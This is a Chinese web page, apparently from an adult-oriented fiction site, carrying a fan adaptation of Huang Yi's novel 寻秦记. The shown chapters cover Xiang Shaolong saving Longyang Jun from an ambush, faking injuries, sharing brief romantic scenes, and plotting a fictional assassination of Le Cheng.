未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

寻秦记全本改编版 (9-10集) 原作者:黄易 改编:紫曰(frank511127)

差20多个好友帮我评个分~拜託了

【活动】嫦娥奔月,捷足先登


第九卷

第一章、峡口遇袭

  项少龙和龙阳君并骑出城,前后四周均是护驾高手。自传出他项少龙即将前
来邯郸的消息后,赵都原本已紧张的气氛,更如拽满了的弓弦,迫得人透不过气
来。虽然人人摩拳擦掌,看似胸有成竹。其实人人自危,都怕成为遭到不幸的一
个。于此亦可见自己建立了「崇高」的声誉,无人敢轻忽视之。

  龙阳君策马挨近了他少许,道:「为何不见贵僕龙善呢?」项少龙暗赞龙阳
君细心。在这兵凶战危,人人防备的非常时刻,换了是任何权贵,若有滕翼这种
高手,必会要他十二个时辰贴身保护,所以项少龙出门都不把他带在身旁,实在
不合常理。他微笑道:「内子还是第一趟来到大城市,购物兴浓,没有人陪着总
是不太妥当的。」

  龙阳君只是随口问问,并非起了疑心,改变话题道:「李园视董兄为头号情
敌,实在是弄错了目标,教人发噱。」项少龙奇道:「君上何有此言?」

  龙阳君微笑道:「纪嫣然真正看上的人是项少龙。唉!嫣然自己或者没有察
觉,她看项少龙的眼神与看其他人时有着很大的分别。在那时她可能仍未知爱上
了项少龙,但我已肯定地知道了。」项少龙心中暗檩,这龙阳君确是个有敏锐观
察力的人,一不小心便会给他由眉梢眼角看破玄虚,自己真要打醒十二个精神才
好。

  龙阳君冷哼一声道:「我才不信纪嫣然和项少龙之间没有密约,只要盯紧纪
嫣然,终可由她身上把项少龙挖出来。」项少龙皱眉道:「君上不是要对付纪才
女吧?」

  龙阳君歎了一口气道:「我一直视她为红颜知己,她投向项少龙亦是自然不
过的一回事。董先生尚未见过项少龙,这人确是不世的人材,无论谈吐见地和襟
胸气概均独特出众,本人若非与他站在对敌的立场,招揽他还来不及,但现在却
必须不择手段,务要把他置于死地。」项少龙故意试探道:「我虽然自知没有得
到纪才女的希望,可是却也觉得她颇看得起我老董。嘿!凭君上的眼光,她看我
的目光比之看项少龙如何呢?」

  龙阳君点头道:「她的确很看得起你,问题在她是个相当死心眼的人,项少
龙有先入主的优势,你和李园只好死了这条心了。」项少龙笑道:「事情看来还
未绝望,有君上这幺厉害的人对付项少龙,他能活的日子应屈指可数了。那时纪
才女不是可再行挑选对象吗?」

  龙阳君苦笑道:「事实早证明了所有低估项少龙的人,最后都饮恨收场。无
论赵人如何布置,我仍深信项少龙有神不知鬼不觉潜入邯郸的本领。以吕不韦和
项少龙的狡猾,怎会任由行蹤给秦国的敌对派係洩露出来,其中定是有诈。」项
少龙背脊生寒,直沖脑际。他愈来愈发觉龙阳君这人不简单,难怪能成为信陵君
的劲敌。现身在邯郸的诸国权臣中,厉害角色除田单这重量级人物外,就要数这
不形于外的龙阳君了。

  不过他的弱点就是:嘿!似乎「爱上」了自己,所以推心置腹,希望赢取他
的好感。我的天!这是如何一塌糊涂,错综複杂的一回事!

  这时人马远离邯郸城郭,沿着官道往藏军穀驰去。两旁山野秋意肃杀,树木
枝叶凋零。龙阳君的亲随都似有种到城郊来活动筋骨,轻鬆一下的意味。龙阳君
见项少龙沈吟不语,知他正在思索和消化自己的说话,欣然续道:「项少龙最重
要的仇人有三个,就是孝成王、赵穆和郭纵,一天项少龙仍在,他们三人恐怕难
以安枕。」

  项少龙忽地涌起不安的感觉。这是一个职业军人的警觉,并不需要什幺实在
的理由。这时人马正要进入一道藏军穀必经的窄长山峡,四周尽是茂密昏暗的雨
林,若有人要偷袭,这里实是个理想的地方。项少龙倏地把马勒定。龙阳君沖前
了十多步后,才勒马走回头来奇道:「先生有什幺问题吗?」其他人见龙阳君立
马停定,都停了下来。

  项少龙望着前方山峡的入口,皱眉道:「项少龙与君上是否亦有过节呢?」
龙阳君微感愕然,转马头,循他目光望往峡道的入口,向手下喝道:「给我开道
!」当下驰出十多人,朝峡口沖去。那些人的盾牌仍挂在马侧处,显然谁也不相
信峡道内隐藏着敌人。

  项少龙也大惑不解,有谁要对付龙阳君呢?难道只是自己神经过敏,摆了个
大乌龙。龙阳君轻鬆地看着手下驰进峡穀去,微笑道:「项少龙若来对付我,就
真是本末倒置了。而且他怎知我今天会到藏军穀去呢?」项少龙那种不妥的感觉
愈趋强烈。以往担任特种部队时的严格训练,再依墨氏补遗的静养法修练,加上
多次遇劫,对于异常情形特别敏感,他的第六感灵敏更多,且屡次助他逃过大难
,否则可能已饮恨于鹹阳街头了。秋阳虽挂在天边,可是他心中却充满寒意。

  龙阳君忽道:「董先生想清楚了本君那天的说话了吗?」项少龙大感头痛,
岔开话题道:「为何贵侍卫们仍未回来呢?」话犹未已,啼声传来,龙阳君其中
一名手下出现峡口处,遥遥向着他们打出一切无恙的手势。

  项少龙颇感尴尬,暗忖自己杯弓蛇影,太多疑了。反是龙阳君安慰他道:「
小心点总是好的!本君对董先生的小心谨慎非常欣赏。」人马续往狭穀开去。龙
阳君以他那「娇柔」的甜腻语调道:「先生有否想过纵横战场,创一番男儿的不
朽事业呢?」

  项少龙暗叫厉害,此人确有一般人所久缺的灵锐,看出自己并非只是甘心一
辈子养马的人,故另入说词。此时离峡口只有百多步的距离,项少龙忽然又感觉
出有某种危机,但却只是隐隐捕捉到点模糊的影子,并不具体。随口答道;「我
除了养马外,对兵法一窍不通,拚拚蛮力或尚可将就,怎能统领三军,驰骋沙场
?」

  龙阳君娇笑道:「先生不用自谦,只看贵属训练有素悍不畏死,便知先生是
天生将材,否则田单那会如此顾忌你。」现在离峡口只有五十步的远近,先头部
队已开始进入峡口。一个念头电光石火般掠过项少龙脑海,抽缰勒马,狂叫道:
「快掉头!」他终于想到不妥的原因。

  刚才龙阳君那个回转来表示可安全通过的手下,打完招呼后便立即匆匆返回
峡道里,实是于理不合,因为峡内已有十多名龙阳君的亲卫;作为开路部队,自
应扼守着首尾两端和峡道内各个重要战略性据点,好待龙阳君通过,才可撤走。
否则若有敌人由两旁拥出,封死峡口,他们岂非给困死峡道内?

  项少龙本亦不会因龙阳君那手下一时疏忽而起疑,但因早生警戒,所以才想
到对方会有如此做作是免了处身于埋伏的敌人和他们队伍中间的险地,才要匆匆
避入峡道里。此时龙阳君和四周的手下们都皱起眉头,觉得他疑神疑鬼得太过份
了。前头的几个人竟不理他警告,自行驰进峡道里。

  龙阳君礼貌上勉强勒马停下,正要说话时,惨叫声隐隐由峡道内传了出来。
众人色变时,峡内涌出无数敌人,人人手持弩箭,弓弦响处,前方十多人猝不乃
防,倒栽着下马。同一时间杀声四起。两旁茂密的树林中伏兵沖出,一时间四周
尽是如狼似虎的敌人。这些人全是平民服饰,骤眼看去至少有数百人之众,龙阳
君的手下亲随,虽无不是身经百战的精锐,但敌众我寡,弩箭的威力更是难挡,
尚未有机会作反抗时早溃不成军,乱成一片。

  项少龙矮身避过两枝弩箭,但下麵坐骑一声惨嘶,跳起前蹄。他连看看战马
何处中箭的时间也没有,双脚猛蹴鞍蹬,侧身离开马背,扑往身旁的龙阳君,揽
着他的腰飞跃下马,落到路旁草丛时,龙阳君的座骑早颓然倒地,浑体插满了劲
箭。龙阳君自是敌人的首要目标。他的头号手下焦旭和尚未受伤的亲卫亦滚下马
来,抢过来保护龙阳君。

  龙阳君想跳起来抗敌时,项少龙抓着他直滚入树林里,四周虽刀光剑影,全
是喊杀之声,但受树木所隔,敌人又射过了第一轮的弩箭,匆忙间未及重行装上
弩箭,正是逃命的好时机。剑风扑麵而来。项少龙背靠草地,飞起两脚,重重撑
在敌人下阴要害处。那两人惨叫声中,抛跌开去,撞倒了另三个扑来的敌人。

  「锵!」项少龙长剑出鞘,又有两人溅血倒地。当他跳起来时,龙阳君惊魂
甫定,拔剑以腰力弹起,一声「娇叱」,剑若游龙,扑上来的敌人登时又有两个
僕跌一旁。焦旭等十多人此时且战且退,来到树林之内,护着他们。项少龙只见
四方八麵全是敌人,知道不妙,迅快地作出对敌人包围网虚实的判断,狂喝道:
「随我来!」血浪展出重重剑影,一马当先沖进林里。

  他剑势淩厉,膂力惊人,兼之在林木间敌人又难发挥以众淩寡的威力,真是
挡者披靡。「当!」一名敌人竟被他连人带剑劈得飞跌开去,吓得本要扑上来的
其他人也立时退避。不过这只是昙花一现的好景,随着后援开到,无数敌人再拥
扑而至。项少龙进入墨氏守心之法,沈着气领着龙阳君等,连杀了七八个敌人,
深进密林之内。

  项少龙趁隙看了龙阳等一眼。此时剩下来的随从除焦旭外只有七个人,人人
浴血受伤,形势危殆。但敌人仍是潮水般涌上来。龙阳君虽奋勇拒敌,但亦已浑
身鲜血,只不知那些是由他身上流出来,那些是由敌人处溅上他的衣服去。

  右后肩一阵火辣。项少龙狂喝一声,反手一剑,透入了偷袭者小腹去,接着
健腕一抖,架着了由左侧劈来的一剑,趁对方退闪时,就在这?那间的空隙连消
带打,运剑猛刺,硬插进敌人胸膛里。敌人见他如此强横,都退了开去,使他倏
忽间深进了数丈。

  「砰!」龙阳君一个跄踉,撞在他背上,显然又中了敌人毒手。项少龙君大
喝道:「不要理我!」挥剑杀了另一个扑来的敌人。

  「呀!」己方有一人重伤倒地,形势危殆之极。项少龙血浪剑有若闪电般掣
动一下,倏忽间再有一敌倒地毙命,猛扯龙阳君,同时向焦旭等喝道:「随我来
!」硬撞进左方的敌人里,重重剑浪,迫得敌人纷纷退避。

  在这等浴血苦战的时刻中,项少龙展现出本身惊人的魄力,悠长的气息和多
年来接受特种部队的严格训练,就像个永不会劳累的机器,纵横敌阵。百忙中他
不忘审度四周形势,见到左方不远处有道斜坡,连忙呼召龙阳君等随他闯过去。
一招「以攻代守」,疾施狂击。「呛!」的一声,敌人之剑只剩下半截,大骇下
早中了项少龙侧身狂踢,口喷鲜血重重撞在身后大树处。

  项少龙闪了一闪,再反手一剑,刺入了由后抢上来的敌人左胁处,同时虎躯
一移,以肩头撞得对方带着一蓬鲜血,仰跌地上。此时他已成功冲杀到斜坡边缘
,压力顿减,往下偷隙望了一眼,只见下方一条河流,滚滚流过。项少龙大喜过
望,沖了回来,闪电出剑,奇準无匹刺入了正围攻龙阳君、焦旭等人其中一个的
眉心去,那人登时气绝倒地。

  项少龙运剑横扫,迫开了敌人,大喝道:「跳下去!那是唯一逃生的机会。
」转身扑往龙阳君,搂着他滚下斜坡,也不知撞断了多少矮树,压碎了多少花叶
,往下翻滚而去。焦旭和另外五名亲卫,那敢犹疑,都学他们由坡滚下去。

  「蓬……蓬……」八个人先后跌进河中,立即染红了一片河水。项少龙扯着
龙阳君,顺着湍急的河水向下游泅去,迅即去远。敌人喊杀着沿河追来。

  前方水响骤增,有若山洪暴发。项少龙等还弄不清楚是什幺一回事时,去势
加速,忽地发觉虚悬半空,原来到达了一个高约两丈的水瀑崖边,迅即随着水瀑
去势,往下麵水潭堕去。水花高溅。众人跌得头昏脑胀时,河水又把他们带往远
方。敌人的喊杀声给远远抛在后方去。

  项少龙和龙阳君等由在半途遇上的赵兵护送回邯郸城时,已是三更时份。伤
口虽包扎妥当,但因失血和劳累的关係,众人都麵色苍白,力尽身疲,其中两人
还发着烧,急需治理。赵穆和乐乘等早得飞报,在城门处焦急地等待他们。赵穆
一直与龙阳君私下勺结,项少龙又是他登上王位的希望,自是心焦如焚,乐乘则
身为邯郸城守,若让龙阳君这魏国重臣出了事,他亦难辞其咎,所以都是同样关
心。

  赵穆和乐乘抢上载着项少龙和龙阳君的马车,见两人样子虽吓人,却非是致
命之伤,都鬆了一口气。龙阳君脉脉含情看了项少龙一眼,费力地道:「若非董
先生捨命相救,我如今恐难有命再见两位了。」项少龙心中苦笑。算起来龙阳君
可算他死敌之一,可是当时却无暇去想这个问题,就算有此一念亦不会见死不救
。这正如田单的批评:「心软」正是他最大的弱点。

  乐乘沈声道:「有没有见到项少龙?」项少龙和龙阳君同感愕然。后者皱眉
道:「看来不大像是项少龙,不过当时形势混乱之极,我们顾着逃走,顺河而遁
,根本未有机会看清楚敌人。」

  乐乘道:「我已派出精兵,封锁所有要道,搜索远近山头,希望可以有好消
息稟知君上。」龙阳君和项少龙听他口气,已知他没有把握。偷袭者既能神不知
鬼不觉潜至邯战三十多里的近处,自亦有撤敌的本事。但谁要干掉龙阳君呢?项
少龙当然心知肚明不是自己干的。

  龙阳君不知是否因身上多处创伤,脸色深沈,没有说话的兴趣。当下赵穆和
乐乘亲自分头护送龙阳君和项少龙回府。善柔和田氏姊妹等早接得消息,在大门
处迎他入内。乐乘浑身久閑,告辞去了。

  善柔怨道:「早知我陪你去呢!」乌果奇道:「是什幺人干的。」

  田贞田凤用力扶着他回到内宅去,两对俏目早哭得红肿了。项少龙苦笑道:
「让我醒过来才向你们详说一切好吗?」忽然间,他记起了龙阳君那个手下峡口
诱他们入局的情景。虎躯剧震中,他已猜到想取龙阳君一命的是何方神圣了。难
怪龙阳君的脸色如此难看。
第二章、诈伤不起

  田氏姐妹和善柔正心慌意乱为项少龙敷药包扎时,项少龙心中一动,向乌果
道:「有没有方法把我弄得难看一点,我要让人以为我伤重得起不了身来?」乌
果搔了一会大头后,善柔不耐烦地道:「让我给你弄个死鱼般的模样吧,包可把
任何人吓个半死!」

  田贞田凤都忍不住掩嘴偷笑。项少龙道:「这还未够,最好弄得我的伤口像
有血水渗出来的样子,若身子也发着烧就更精采了。」田凤笑道:「这个包在我
们姊妹身上,只要在被内暗置个暖袋便成了。」

  善柔和乌果对望一眼后,才往他瞧来,均弄不清他葫芦里卖的是什幺药。项
少龙对乌果道:「待会天亮时,你立即派人出城,请大哥和小俊精挑一半人回来
,另外我还要你立刻找一个人来见我。」当下说出了联络蒲布的手法。

  乌果知道项少龙定有重大行动,爽快地去了,田氏姊妹则去弄那暖袋。善柔
坐到床沿,在亲自为他的假脸颊抹上一层灰白的粉底前,皱眉道:「你不打算告
诉我想干什幺吗?」项少龙想的却是另一回事,摇头道:「不行,若有人摸我的
脸,岂非黏得整手粉末,那谁都知我是伪装的了。」

  善柔一言不发,走了出去,不一会提着个盛满东西的布囊回来,神色冷然地
负气道:「人家本应不理的了,快告诉我是什幺一回事,否则本姑娘便不使出看
家本领,教你装病也无从装起来。」项少龙苦笑道:「先动手弄好再说,否则时
机一过,有人闯来我时,妙计便要成空了。」

  善柔嘟着嘴儿,气鼓鼓地由囊内取出七八个大小瓶子,倒出液状之物,在一
个陶盘子里调弄着。项少龙伸手过去,摸上她弹力惊人的美腿,柔声道:「我要
杀一个人!但现在仍未到揭晓的时机!」善柔娇躯微颤,往他望来。

  天尚未亮,孝成王在随从拥护下,到来看他。当他见到刚烫得额头火热、脸
色难看有若死鱼般的项少龙时,吓了一跳道:「董卿家!他们又说你伤得并非太
重,不行!寡人立即要着御医来为你诊治。」这回输到项少龙吓了一大跳,忙沙
哑着声音道:「大王恩重,鄙人不胜感激,我只是因浸了河水,受风寒所侵,又
兼失血过多,只要躺几天便没事了。何况我手下里也有精通医道的人,鄙人吃惯
了他开的药,若骤然换过别人治理,可能会弄巧反拙哩。噢!」

  最后那声自然是故意装出来的痛呼,还让孝成王看到他被子滑下来后露出「
血水渗出」的肩胁伤口。孝成王想不到他情况似比龙阳君更严重点,发了一会呆
后,双目凶光闪闪道:「有没有见到项少龙?」旋又一拍额头道:「寡人真糊涂
,忘了卿家从未见过这反贼。」

  项少龙心中好笑。沈呤片晌后,孝成王又道:「今趟全仗董卿,若非卿家舍
命护着龙阳君,他定然没命,那时怎向失了命根子的安厘交待,今次的和议亦休
想达成了。」项少龙心内苦笑。自己来邯郸本是为了杀人,岂知机绿巧合下,反
先后救了赵穆和龙阳君,现在连他也有点不相信自己是项少龙,更遑论其他人了
。故意问道:「大王必见过龙阳君了,他有没有说是项少龙干的呢?」

  孝成王摇头道:「龙阳君只比你好一点,精神萎顿,不愿说话。不过若非项
少龙,谁人能如此厉害。亦只有他才可与藏在邯郸的余党暗通消息,现在他成了
秦人的走狗,自然要对付我们五国的人了。」项少龙听他口气,仍不把燕国当作
盟友伙伴,由此推之,这昏君尚未向李园和田单的压力屈服。

  孝成王见他两眼撑不开来的样子,拍拍他烫热了肩膀,道:「董卿好好休养
,寡人会遣人送来疗伤圣药。」站起来又道:「原来董卿的本领非只限于养马,
往后寡人自有安排。」

  孝成王走后,项少龙真的支援不住,劳累欲死沈沈睡去,迷糊间,隐隐感到
门庭若市,不住有人来探望他,乌果自然在旁鼓其如箕之舌,把他的伤势夸大渲
染。其实不用他赘言,只是弥漫房内的伤药气味和「不住渗出血水」的伤口,已
是最强有力的说明了。

  到正午时份,蒲布来了。项少龙抖擞精神,和他商量一番后,门人来报赵雅
来看他,蒲布忙由后门遁走。赵雅挨到榻边,探手便摸上项少龙刚烫热了的额角
,吃惊缩手道:「你生病了!」项少龙半眯着眼笑道:「没什幺事!雅儿陪我睡
两天就会好的。」

  赵雅吁出一口气道:「人家吓都吓死了,你还有闲情来调戏人家?不过你还
两眼有神,一点都不像生病呢。」项少龙心中一檩,知道赵雅看出了他唯一的漏
洞。

  赵雅道:「偷袭龙阳君的主使者可能是田单、李园,甚或赵穆又或是信陵君
,但绝不会是项少龙。我想得到,这些人必会想得到,最清楚的该是龙阳君了。
」项少龙知道赵雅心思缜密,本只疑心信陵君一人,被赵雅这幺一说,信念立时
动摇。他自然知道这事与赵穆无关,但田单和李园均有杀死龙阳君的动机,都是
凶嫌。魏国的权力斗争,主要是魏王和龙阳君的一方,跟以信陵君为首那一派係
的角力。龙阳君更是安厘的命根子,若他有什幺三长两短,安厘定会对信陵君生
疑,并要置之死地。魏国内乱一起,最大的得益者自然是十分想瓜分三晋的齐楚
两大强国了。现在人人认为秦国内部不稳,无暇外顾,想向外扩张势力,正是其
时。

  项少龙正在苦恼时,赵雅忍不住娇躯前俯,低头以香唇印在他嘴上,温柔地
吐出香舌。项少龙回应吸吮着她灵活的舌头,同时探出色手,揉捏着她丰挺的酥
胸。赵雅倾身相就,全身抖颤,春情蕩漾。

  正销魂间,赵雅猛地抽身后退,脸红如火,娇喘连连道:「看你有伤在身,
先饶过你这次。」又横他一眼道:「等伤好了后!人家要你怎样赔我,你就怎样
赔我!」

  项少龙虽欲火焚身,却也知现在不宜,歎一口气道:「好啊,到时连本带利
一起赔,你可得照单全收喔!」赵雅脸蛋一红,娇媚笑着嫋娜去了。她前脚才走
,纪嫣然芳驾即临,见到项少龙可怖的模样,热泪立时夺眶而出,到知道真相时
,始化忧为喜。

  项少龙坐拥着满怀芳香的美人道:「你见过龙阳君没有?」纪嫣然欣然道:
「你这人真厉害!什幺都瞒你不过。唉!我竟是最后一个知道你受伤的人。心焦
如焚时,还要强迫自己先去探那爱扮女人的家伙,以避嫌疑。这还不止,来见夫
君时,又要以野女人的身份拜见自己夫君的如夫人,给她以审犯的目光语气拦路
盘问,夫君啊!你来给嫣然评评理,还我个公道好吗?」

  项少龙听得头大如斗,一对手滑入了她的衣服里活动着,好转移她的注意力
,又改变话题道:「遇袭前龙阳君和我大说心事,劝我对你要癡心妄想,因为纪
才女爱上的既不是董匡,也非李园,而是六国的头号通缉犯项少龙。」纪嫣然在
他无礼的手下抖颤扭动,喘着气道:「六国头号通缉犯,少龙你的用语真是新鲜
有趣。唔!难怪龙阳君一直盯着人家了。噢!少龙!你想弄死嫣然吗?啊!再这
样,人家不肯放过你了。」

  项少龙吓得连忙停手,谁说得定有人会在此时来探伤呢?纪嫣然伏在他身上
脸红似火,喘息着道:「少龙猜到偷袭者是那方麵的人吗?」项少龙抚着她粉背
道:「我想听听才女的意见。」

  纪嫣然咬着他的耳朵道:「最大的疑凶当然是信陵君,我才不信他今趟没有
派人来邯郸,好夺回被你偷了的鲁公秘录。不要说他,我看谁都在打秘录的主意
。」项少龙苦恼地道:「若秘录是在郭纵手上,那李园和郭秀儿的婚事就必可谈
拢了。」

  纪嫣然坐直娇躯,傲然道:「若我即时绝了李园的心,他们的婚事可一说便
合。」项少龙恍然大悟。像郭秀儿这种家世显赫的绝色美女,没有男人会嫌弃的
,问题只是关乎在名份上。郭纵自然不肯让女儿屈居人下,更不要说作妾嫔了。
但李园的难处却是必须虚正室之位以待纪嫣然,这就是与郭秀儿婚事尚未能谈拢
的主要原因。

  纪嫣然记起前事,惊疑道:「我看项郎比鲁公更厉害,鲁班便设计不出你那
些使人拍案叫绝的攀爬工具了。」项少龙心叫惭愧,与纪嫣然亲热一番后,乌卓
等大队人马,借探望他作藉口回来了。这俏佳人难舍难离的走了后,乌卓、荆俊
、乌果和善柔都聚集到房里来与他商议。赵致亦早来了,这时随众人来看他。

  坐好后,项少龙微笑道:「假设今晚乐乘给一批蒙着头脸的人斩了首级,你
们说别人会怀疑是谁干的呢?」众人无不心头剧震,瞪大眼看着他。他的行事太
出人意料了。善柔姊妹「啊!」一声叫了起来。赵致探手过去,紧握着善柔的手
,感动得眼也红了起来。

  荆俊奇道:「两位嫂嫂和乐乘有深仇大恨吗?」项少龙心中暗歎,乐乘一直
是赵穆的头号爪牙,赵穆那些伤天害理的事怎会欠得他一份。赵致听这小子毫无
嫌隙地唤她作嫂嫂,欣喜地瞧他一眼,才红着脸垂下头儿。善柔对「嫂嫂」之称
是一副受无愧的样儿,双目寒光一闪道:「当日来捉拿我善家上下的人正是乐乘
,他还……唉!」黯然垂首道:「我不想再提了!」旋又 起头来,咬牙切齿道
:「我要亲手把他的人头砍下来。」

  乌卓慎重地道:「三弟真有把握吗?乐乘这人狡猾怕死,出入均有大批好手
护卫,现又正值城内草木皆兵之时,恐怕不易得手。」项少龙胸有成竹道:「草
木皆兵才正有空隙。能人所不能,生命才可显出真趣,刺杀讲的是策略,只要能
準确把握到乐乘的行蹤,我们就可精心策划出整个行动,定下进退和掩人耳目的
行刺方法。」

  乌卓仍犹豫地道:「这样做会否打草惊蛇,教人知道我真的到了邯郸呢?」
善柔不屑地道:「胆小鬼!」

  乌卓登时色变。此人极重荣辱,怎受得起这幺一句话,尤其出自女人口中。
赵致大吃一惊,怨怪地摇撼着善柔手臂。项少龙不悦喝道:「你难道不知我最尊
敬乌大哥吗!竟敢以下犯上,快给我道歉!」善柔也知自己过份了,竟「噗哧」
一笑,道:「我说的不是乌大哥,只是见小俊发着抖,才冲口说他是胆小鬼,教
乌大哥误会了。」

  荆俊瞪大眼睛,一副被冤枉了的神态,及见赵致向他频打眼色,惟有把这只
死猫硬吞进肚内去。乌卓那真的和她计较,亦知在善柔来说,这可算是变相的道
歉了,摇头苦笑道:「我非是胆怯,而是希望轻重有序,不致因小失大吧了!」

  荆俊爱屋及乌,忙打圆场道:「胆小的只是我这小鬼吧!乌大哥神勇无匹,
怕过谁来。」众人都给他夸大的言词惹得莞尔失笑,气氛顿时缓和融洽了。项少
龙分析道:「乐乘是个非常危险的人物,动辄可使我们全军覆没,最大的问题,
是谁也弄不清楚他究竟是仍忠于赵穆,又或早给孝成王拉拢了过去,更大的可能
是他只忠于自己,就像墙头上的小草,那方风大势强,便靠向那一方。」

  待众人完全消化了他的说话后,续道:「假设赵穆明天要造反,那今天他就
必须向乐乘和盘托出我们跟他的关係,好增强乐乘的信心,也免致在调配上出现
问题,那时就非常危险了,你们明白我的意思吗?」善柔姊妹、乌果和荆俊均眉
头大皱,显然把握不到项少龙所指的危险。只有乌卓长长吁出一口气道:「是的
!我明白为何必须先干掉乐乘了,因为假若他是孝成王布置赵穆阵营内的奸细,
自然会立即把我们的底细告知孝成王,那时我们死了都不知是什幺一回事呢。」

  善柔等这才恍然。项少龙微笑道:「杀死乐乘,还另有个大大的好处。」今
赵连乌卓都要大惑不解了。项少龙淡然道:「我们把整个刺杀行动弄成似是而非
,看似是我项少龙所为,但细想又觉不像的模样。凭着乐乘墙头草的特质,赵穆
与孝成王必然互相猜疑,都以为对方是借我项少龙作掩饰干的,你们说会带来什
幺样的后果呢?」

  众人听得无不倾服,谁人能想得如此周详呢。荆俊歎道:「两人自是疑神疑
鬼,摩拳擦掌,立即要作正麵冲突了。」乌卓点头道:「最好那昏君立即召回廉
颇或李牧其中一人,回师勤王保驾,那赵穆便被逼要马上发兵叛变,我们亦有机
可乘,在浑水里捉了赵穆这条大鱼了。」

  善柔皱眉道:「但最大的问题是怎样才可砍了乐乘项上的人头呢?」项少龙
从容一笑,待要回答时,手下来报,田单到了。项少龙心中檩然。现在邯城内,
他最顾忌的人,就是田单了。

第三章、暗夜杀机

  田单进了寝室后,在那刘中夏、刘中石两兄弟左右随护下,逕直来至榻旁,
亲切地道:「董先生好些了没?」项少龙见田单自有一股威淩天下的气势,更是
提高警惕,不敢说错半句话,点首施礼后道:「最近得了那对姐妹花,生活荒唐
,酒色过度,只浸了一会河水,便受寒凉所侵。噢!田相请坐!」

  田单微笑摇头道:「很多时我都欢喜站着来说话。嘿!看董兄两眼神光照人
,怎会是酒色过度的人呢?只是一时用过了力道,故易受湿寒吧!」项少龙知道
难以在此人麵前作假,真正地苦笑道:「看来是这样了!」

  田单定神看了他一会后,淡淡道:「董兄手下的儿郎们,是否由董兄一手训
练出来的呢?」他这幺一说,项少龙立即知道那天自己硬闯城门迫孝成王表态时
,此人必有份在旁观察,心下檩然,知他动了疑心,却若无其事道:「要养马,
首先就要防範别人来偷马,南方多蛮夷,所以鄙人每天都训练他们,好作防备。


  田单沈呤片晌,点头道:「若董兄能把我大齐的兵将,练成像董兄手下儿郎
们那样悍不畏死的精英,虎狼之秦又何足惧哉?」项少龙放下心来,原来田单看
上自己这点长处,暗叫厉害。他项少龙最大的长处,就是把特种部队那一套,搬
到这战国的时代来。而这长处一下便给田单抓个正着。

  两人对视顷刻后,项少龙闭上眼睛,好一会才睁开来,瞧着正凝视着他的田
单道:「鄙人明白了,田相请给点时间董某。」田单想不到他如此坦白直接,反
觉愕然,旋即欣然道:「我明白董兄乃忠于情义的人,否则亦不会捨命救回龙阳
君了。换了谁在那种情况,都只会自行逃命。」

  项少龙装作因伤口牵扯痛得皱了一下眉头,摇头道:「当时鄙人绝没有想过
其他事,只知同舟共济,应付危难。」田单双目神光一闪,沈声道:「听龙阳君
说,董兄当时早有所觉,未知董兄为何能有此先见之明呢?」

  项少龙给他的眼光和问题弄得浑身不自在,恨不得也快点离开,装出疲倦神
色,淡淡道:「养马首防盗马贼,由其运送马匹途中常有马贼埋伏偷袭,遇多了
自然敏感些。又或者是与马儿相处多了,沾染了点它们敏锐的灵觉,其实每逢有
大灾难来临,甚或天气的突然转变,上至飞禽走兽,下至蛇虫蝼蚁,均有异样举
动。」

  毕竟项少龙并非犯人,他总不能锲而不捨,问个不休。田单歎道:「董兄确
是非常之人,今次偷袭的主使者不知走了什幺倒楣运道,竟遇上了董兄,致功亏
一篑。以董兄如此人材,楚王考烈或者会看走了眼,但春申君黄歇怎会把你轻轻
放过呢?」他虽似在 捧项少龙,但其实步步进迫,誓要摸清对方底细。

  项少龙暗叫不妙,此人才智高绝,一不小心,给他抓着尾巴就完了。苦笑道
:「春申君恐怕连我的样子是怎样都记不清楚,有什幺放过不放过?董某对楚人
早心淡了,再不愿想起他们。」今趟轮到田单暗叫厉害,项少龙「闲话家常」式
的答话,教他更觉此人高深莫测,使人难以捉摸。点头道:「楚人目光短浅,只
求眼前安逸,又屡错不改,确是不值一提。但若楚国落入李园掌握中,董兄认为
会出现一番什幺局麵呢?」

  项少龙冷哼一声,哂道:「李园此人薄情寡恩,心胸狭窄,纵情酒色,靠的
又是裙带关係,能做出什幺大事来?」田单双目射出如电神光,凝定在他麵上,
哑然失笑道:「董兄确是识见过人,教田某怎能相信你只是个甘于养马的人哩!


  项少龙整条脊骨都寒渗渗的,乾咳一声道:「田相太夸奖董某了。」田单正
容道:「董兄若有经世之誌,就不应留在赵国这垂死之地,应为伏枥之骥,其誌
放于千 之外。董兄乃聪明人,当明田某之意。」

  项少龙知他仍只是在招揽自己,反放下心来,颓然挨到枕上,歎了一口气,
却不说话。田单虽乃雄辩滔滔之士,却拿他没法,输到他苦笑道:「董兄可是有
什幺难言之隐?」项少龙装作辛苦的勉强坐高了点,挨着榻子捧额沈吟道:「还
不是因为先父遗命,着鄙人回赵设置牧场。生死有命,很多事鄙人都不大放在心
上,只不过与田相一见如故,感激田相知遇之恩,才想到再作好好思量,希望田
相体谅鄙人的苦衷。」

  他坦白若此,田单觉察到很难再迫他立即表态,深吸一口气后,奇锋突出道
:「偷袭者定然与项少龙全无关係!」项少龙吃了一惊,装傻道:「田相有何卓
见?」

  田单踏前一步,轻拍了他肩头,微笑道:「但愿有一天董兄能踏足齐境,田
某必以上宾之礼款待先生,好好休息吧!过两天董兄複元时,我希望能到董兄的
牧场打个转。」竟避而不答项少龙的问题,就那幺走了。累得项少龙满肚疑问,
不知此君尚有什幺高深后着。

  吃晚饭时,各人均因即将来临事关重大的刺杀行动引至心事重重,气氛并不
热烈。赵致随便吃了点后,便放下筷子,看着项少龙开怀大吃。荆俊是唯一神情
特别兴奋的人,逗赵致道:「致姊啊!不吃饱你那来力气呢?」赵致低声道:「
人家不饿嘛!」

  善柔低骂道:「真没有用,又不是有人来刺杀你,一副坐立不安的样子!」
田贞田凤这时过来为各人添酒,乌卓阻止道:「今晚不宜喝酒!」转向项少龙笑
道:「龙阳君派人送了两大壶酒来,一是药酒、一是补酒,哈!我看三弟今趟麻
烦了。」

  项少龙对龙阳君的感激和关怀大感头痛,苦笑无言。善柔冷哼道:「让他给
人宰掉不是一了百了吗,偏要捨命救他,惹得一身烦恼。」赵致惶然道:「大姊
啊!」

  善柔瞪她一眼道:「你就只懂做应声虫。」项少龙惟有和乌荆两人对视苦笑
。善柔拍拍小肚子,伸了个懒腰,粗声粗气道:「今晚的行动千万不要少了我,
现在本夫人先去睡一觉好的,你好给我準备一副那些飞墙攀壁的玩意,我要最好
的。」

  在众人目瞪口呆中,说做就做,回房睡觉去也。田氏姊妹忙分出一人,服侍
